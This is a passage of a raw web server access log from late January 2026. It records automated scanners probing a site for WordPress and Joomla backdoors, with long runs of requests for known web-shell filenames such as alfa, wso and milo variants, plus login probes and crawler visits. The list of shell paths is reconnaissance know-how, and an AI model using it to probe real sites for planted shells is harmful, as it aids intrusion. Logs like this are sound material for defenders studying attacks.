+0300] "HEAD /BLOG HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 150.241.66.156 - - [29/Jan/2026:19:05:01 +0300] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 182.44.8.254 - - [29/Jan/2026:19:10:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.159.132.207 - - [29/Jan/2026:20:13:47 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.159.136.201 - - [29/Jan/2026:19:14:05 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 4.206.1.160 - - [29/Jan/2026:21:25:10 +0300] "GET /wp-admin/js/widgets/she.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:25:13 +0300] "GET /wp-content/plugins/jlvhys97/milo.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:26:12 +0300] "GET /wp-content/think.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:26:14 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:26:16 +0300] "GET /wp-admin/date.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:26:18 +0300] "GET /wp-content/cache/index.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:26:22 +0300] "GET /.well-known/pki-validation/autoload_classmap.php HTTP/1.1" 404 796 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:26:22 +0300] "GET /LA.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:26:25 +0300] "GET /wp-content/uploads/ethwwuzd.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:26:27 +0300] "GET /media-new.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:26:29 +0300] "GET /gallery_upload.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:26:33 +0300] "GET /wp-includes/vjgtd8LW.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:26:35 +0300] "GET /alfa1.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:26:39 +0300] "GET /meta.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:26:42 +0300] "GET /wp-includes/wp-includes_function.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:26:44 +0300] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:26:46 +0300] "GET /acp.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:26:48 +0300] "GET /13.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:26:50 +0300] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:26:53 +0300] "GET /wp-content/plugins/xt/ HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:26:55 +0300] "GET /images/index.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:26:58 +0300] "GET /randkeyword.PhP8 HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:27:00 +0300] "GET /wp-includes/ALFADATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:27:04 +0300] "GET /help.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:28:09 +0300] "GET /php.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:28:13 +0300] "GET /images/vuln.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:28:17 +0300] "GET /wp-admin/plugins/setup HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:28:18 +0300] "GET /woh.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:28:22 +0300] "GET /css/sgd.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:28:24 +0300] "GET //alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:28:27 +0300] "GET /wp-content/upgrade/admin.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:28:29 +0300] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:28:32 +0300] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:28:34 +0300] "GET /staging.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:28:36 +0300] "GET /xml.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:28:38 +0300] "GET /wp-content/plugins/fix/sx.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:28:40 +0300] "GET /1index.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:28:42 +0300] "GET /1.php7 HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:28:44 +0300] "GET /wp-admin/shapes.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:28:46 +0300] "GET /wp-admin/network/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:28:48 +0300] "GET /wp-admin/radio.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:28:50 +0300] "GET /assets/edit.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:24:17 +0300] "GET /images/test.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:34:21 +0300] "GET /file48.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:34:39 +0300] "GET /class9.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:34:42 +0300] "GET /la.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:37:03 +0300] "GET /galex.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:37:06 +0300] "GET /xb.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:37:09 +0300] "GET /ova.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:37:12 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:37:15 +0300] "GET /rh.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:25:19 +0300] "GET /jlvhys97.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:25:23 +0300] "GET /wp-content/themes/gw9hpuea/milo.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:25:27 +0300] "GET /wp-content/plugins/gw9hpuea/milo.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:25:30 +0300] "GET /gw9hpuea.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:25:34 +0300] "GET /wp-content/themes/pt2o2j0b/milo.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:25:37 +0300] "GET /wp-content/themes/5undryfb/milo.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:25:40 +0300] "GET /wp-content/plugins/5undryfb/milo.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:25:43 +0300] "GET /5undryfb.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:25:45 +0300] "GET /template/ HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:25:47 +0300] "GET /wp-admin/includes/themes.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:25:49 +0300] "GET /wp-admin/css/colors/file.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:25:50 +0300] "GET /wp-admin/css/colors/blue/.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:25:53 +0300] "GET /.well-known/acme-challenge/classsmtps.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:25:57 +0300] "GET /components/com_b2jcontact/izoc.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:25:59 +0300] "GET /wp-includes/class-flitert.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:26:01 +0300] "GET /sidwso.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:26:05 +0300] "GET /about.php525 HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:26:07 +0300] "GET /wp-admin/themes.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:31:39 +0300] "GET /wp-content/themes/twentytwentytwo/index.php?p= HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:31:40 +0300] "GET /.well-known/log.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:32:46 +0300] "GET /333.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:28:52 +0300] "GET /admin/atomlib.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:28:54 +0300] "GET /wp-content/plugins/apikey/mar.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:28:57 +0300] "GET /home/cloud.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:28:59 +0300] "GET /adminer.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:29:02 +0300] "GET /logout.php HTTP/1.1" 301 795 "-" "-" 130.12.181.143 - - [29/Jan/2026:21:45:32 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15" 20.89.146.26 - - [29/Jan/2026:22:30:56 +0300] "GET /wp-includes/fonts/index.php?p= HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:32:03 +0300] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:32:07 +0300] "GET /wp-includes/block-patterns/index.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:32:11 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:32:14 +0300] "GET /ioxi-o1.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:32:53 +0300] "GET /520.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:32:57 +0300] "GET /ar.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:33:01 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:33:45 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:33:49 +0300] "GET /files.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:34:01 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:34:15 +0300] "GET /nox.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:36:10 +0300] "GET /ac.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:24:06 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:24:46 +0300] "GET /wp-content/uploads/moban.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:24:50 +0300] "GET /wp-includes/ms-blogs-query.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:30:41 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:30:45 +0300] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:31:20 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:31:29 +0300] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:32:31 +0300] "GET /gg.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:32:36 +0300] "GET /we2.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:32:40 +0300] "GET /04.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:35:41 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:36:19 +0300] "GET /new4.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:24:11 +0300] "GET /wp-content/upgrade/file.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:24:36 +0300] "GET /wp-admin/css/colors/midnight/BDKR28_52za9ooh.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:24:40 +0300] "GET /wp-admin/css/colors/midnight/h67ogbfd.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:30:29 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:33:10 +0300] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:33:16 +0300] "GET /gifclass4.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:33:35 +0300] "GET /wrt.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:33:39 +0300] "GET /bibil.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:33:55 +0300] "GET /file7.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:34:56 +0300] "GET /bless11.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:36:38 +0300] "GET /xaz.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:36:42 +0300] "GET /up4.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:27:32 +0300] "GET /wp-content.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:27:34 +0300] "GET /gmo.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:27:36 +0300] "GET /dashboard.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:27:38 +0300] "GET /millo.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:27:40 +0300] "GET /new/millo.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:27:43 +0300] "GET /wordpress/dashboard.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:27:45 +0300] "GET /gank.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:27:47 +0300] "GET /.well-known/plugins HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:27:49 +0300] "GET /production.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:27:52 +0300] "GET /h.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:27:53 +0300] "GET /admin/editor/engine.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:27:58 +0300] "GET /leaf.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:28:01 +0300] "GET /wp-cli.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:31:50 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:31:54 +0300] "GET /bless5.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:33:28 +0300] "GET /ave.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:35:57 +0300] "GET /file9.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:27:08 +0300] "GET /search/label/PHP-Shells HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:27:11 +0300] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:27:14 +0300] "GET /.well-known/cong.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:27:16 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:27:18 +0300] "GET /php8.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:27:20 +0300] "GET /xpw.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:27:21 +0300] "GET /click.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:27:24 +0300] "GET /headers.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:27:28 +0300] "GET /zwso.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:33:22 +0300] "GET /2clas.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:36:28 +0300] "GET /pop.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:36:31 +0300] "GET /az.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:36:47 +0300] "GET /1aa.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:36:51 +0300] "GET /elp.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:36:56 +0300] "GET /wtz.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:24:22 +0300] "GET /wp-admin/js/widgets/doc.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:24:25 +0300] "GET /wp-admin/js/widgets/file.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:24:28 +0300] "GET /wp-admin/includes/v3.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:24:32 +0300] "GET /wp-admin/js/widgets/hjerwqiotys.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:24:55 +0300] "GET /wp-admin/css/colors/ZhvzNtc.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:24:58 +0300] "GET /wp-admin/images/tGFvoEn.php HTTP/1.1" 301 795 "-" "-" 4.206.1.160 - - [29/Jan/2026:21:25:02 +0300] "GET /wp-admin/images/bo.php HTTP/1.1" 301 795 "-" "-" 213.35.99.26 - - [29/Jan/2026:22:26:26 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.google.com/search?q=wordpress" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" 20.89.146.26 - - [29/Jan/2026:22:31:11 +0300] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:32:21 +0300] "GET /juuuu.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:32:24 +0300] "GET /ha.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:34:10 +0300] "GET /wp-admin/css/colors/midnight/about.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:34:31 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:35:12 +0300] "GET /ccou.php HTTP/1.1" 301 795 "-" "-" 20.89.146.26 - - [29/Jan/2026:22:35:26 +0300] "GET /ton.php HTTP/1.1" 301 795 "-" "-" 216.244.66.194 - - [30/Jan/2026:00:19:39 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 115.45.43.112 - - [29/Jan/2026:23:33:10 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3261.55 Safari/537.36 Core/1.70.3722.400 QQBrowser/10.5.3739.400" 64.140.134.50 - - [30/Jan/2026:00:56:39 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36" 178.16.53.34 - - [30/Jan/2026:01:53:57 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.facebook.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36" 45.149.173.201 - - [30/Jan/2026:01:35:33 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 170.106.15.3 - - [30/Jan/2026:02:07:28 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 216.244.66.194 - - [30/Jan/2026:01:53:25 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 182.42.105.85 - - [30/Jan/2026:01:16:41 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 194.103.212.184 - - [30/Jan/2026:01:59:58 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Mobile/15E148 Safari/604" 43.130.14.245 - - [30/Jan/2026:03:13:02 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 213.209.159.151 - - [30/Jan/2026:03:22:06 +0300] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 174.138.56.138 - - [30/Jan/2026:02:53:53 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 46.228.199.158 - - [30/Jan/2026:03:30:03 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Edg/91.0.864.54" 93.123.109.120 - - [30/Jan/2026:03:46:22 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 14.18.16.150 - - [30/Jan/2026:04:59:14 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 216.244.66.194 - - [30/Jan/2026:05:02:51 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 103.174.122.68 - - [30/Jan/2026:04:48:02 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 173.249.54.83 - - [30/Jan/2026:06:23:41 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 183.249.5.111 - - [30/Jan/2026:07:17:33 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 40.69.27.251 - - [30/Jan/2026:06:49:10 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 192.144.148.122 - - [30/Jan/2026:07:29:47 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 51.68.111.214 - - [30/Jan/2026:08:56:48 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.4; http://mj12bot.com/)" 51.68.111.214 - - [30/Jan/2026:08:56:48 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.4; http://mj12bot.com/)" 170.106.180.153 - - [30/Jan/2026:09:13:19 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 94.26.106.103 - - [30/Jan/2026:09:10:41 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://wordpress.org/" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" 192.165.45.205 - - [30/Jan/2026:08:06:59 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Mobile/15E148 Safari/604" 147.185.132.42 - - [30/Jan/2026:08:51:52 +0300] "GET / HTTP/1.1" 301 795 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 20.240.47.47 - - [30/Jan/2026:09:41:55 +0300] "GET /easy.php HTTP/1.1" 301 795 "-" "-" 20.240.47.47 - - [30/Jan/2026:09:38:25 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.240.47.47 - - [30/Jan/2026:09:42:00 +0300] "GET /wp-rss4.php HTTP/1.1" 301 795 "-" "-" 20.240.47.47 - - [30/Jan/2026:09:42:03 +0300] "GET /nlvbr.php HTTP/1.1" 301 795 "-" "-" 20.240.47.47 - - [30/Jan/2026:09:41:15 +0300] "GET /edorxrr.php HTTP/1.1" 301 795 "-" "-" 20.240.47.47 - - 